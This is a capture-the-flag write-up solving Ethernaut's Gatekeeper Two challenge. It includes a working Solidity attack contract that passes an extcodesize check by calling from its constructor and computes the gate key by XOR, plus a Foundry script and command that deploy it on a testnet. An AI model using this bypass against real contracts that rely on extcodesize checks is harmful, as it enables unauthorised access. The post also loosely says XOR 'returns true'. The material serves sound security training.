The Ethernaut CTF Solutions | 14 - Gate Keeper Two
Beyond the Gates: Decoding Three-Fold Security in Ethereum Contracts

Search for a command to run...
Beyond the Gates: Decoding Three-Fold Security in Ethereum Contracts

No comments yet. Be the first to comment.
Find the explanations and solutions to beat every level of Ethernaut challenges. Solidity + Foundry
Smart Contract Loopholes: Exploiting Inheritance in ERC20 Tokens
From Flash to Cash: Exploiting Governance in the Selfie Challenge

Timing and Technique: Exploiting The Rewarder for Maximum Gain

A Deep Dive into the Side Entrance Challenge: Mastering the Mechanics of Flash Loans

DeFi Vulnerabilities Exposed: How to Solve the Truster Flash Loan Exploit"

Staking Strategies: An Insightful Journey Through Smart Contract Exploits in DeFi

Same principles as the Gate Keeper One, but with different modifiers.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^
uint64(_gateKey) ==
type(uint64).max
);
_;
}
function enter(
bytes8 _gateKey
) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
Let's see how to beat the second gatekeeper and pass its three new modifiers.
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
Lucky us, this is the same modifier as the previous level, so we can use a contract to call the function. Or can we?
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
The extcodesize opcode returns the size of the code at the given address, caller() here. If the address is a contract, it will return the size of the contract's code. If the address is an EOA (Externally Owned Account), it will return 0.
So, it seems that we can't use an intermediary contract after all since there can be no code at the caller's address. However, there is no way to pass the first gate otherwise. Is there another solution then?
Well yes, there is. If we execute our call from a constructor, the extcodesize will return 0 since the contract hasn't been deployed yet technically. This little trick will allow us to pass both the first modifier (tx.origin will not be equal to msg.sender) and the second modifier (since the extcodesize will still be 0 within the constructor).
Let's move on to the third modifier.
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
This one looks pretty ugly at first glance, but let's take a better look at the XOR operator first. The XOR operator returns true if the two operands are different. So, if A ^ B == C, then A ^ C == B and B ^ C == A.
So we could rewrite the modifier like this (which is much nicer, let's be honest):
modifier gateThree(bytes8 B) {
require(uint64(A) ^ uint64(B) == uint64(C));
_;
}
In other words, no need to think too much here, the _gateKey will simply be equal to:
// bytes8(uint64(B)) == bytes8(uint64(A) ^ uint64(C))
bytes8 _gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
Now, we have everything we need to craft our smart contract to pass the three gates:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract GateSkipperTwo {
constructor(address _gateKeeperTwo) {
attack(_gateKeeperTwo);
}
function attack(address gateKeeperTwo) private {
bytes8 _gateKey = bytes8(
uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^
type(uint64).max
);
(bool success, ) = gateKeeperTwo.call(
abi.encodeWithSignature("enter(bytes8)", _gateKey)
);
require(success, "Attack failed");
}
}
Notice how the attack() function is called directly in the constructor.
Then, let's write the script to deploy our GateSkipperTwo contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {GateSkipperTwo} from "../src/14_GateKeeperTwo.sol";
interface IGateKeeperTwo {
function entrant() external view returns (address);
}
contract PoC is Script {
// Replace with your GateKeeperTwo instance
address private immutable gateTwo =
0x9a8a9bAFCFaDe41A74808af3c3a7280615817Cf2;
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
new GateSkipperTwo(gateTwo);
console2.log("Entrant: ", IGateKeeperTwo(gateTwo).entrant());
vm.stopBroadcast();
}
}
And run the script with the following command:
forge script script/14_GateKeeperTwo.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
The extcodesize opcode returns the size of the code at the given address.
The contract's size is 0 in the constructor.
The XOR operator ^ returns true if the two operands are different.
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/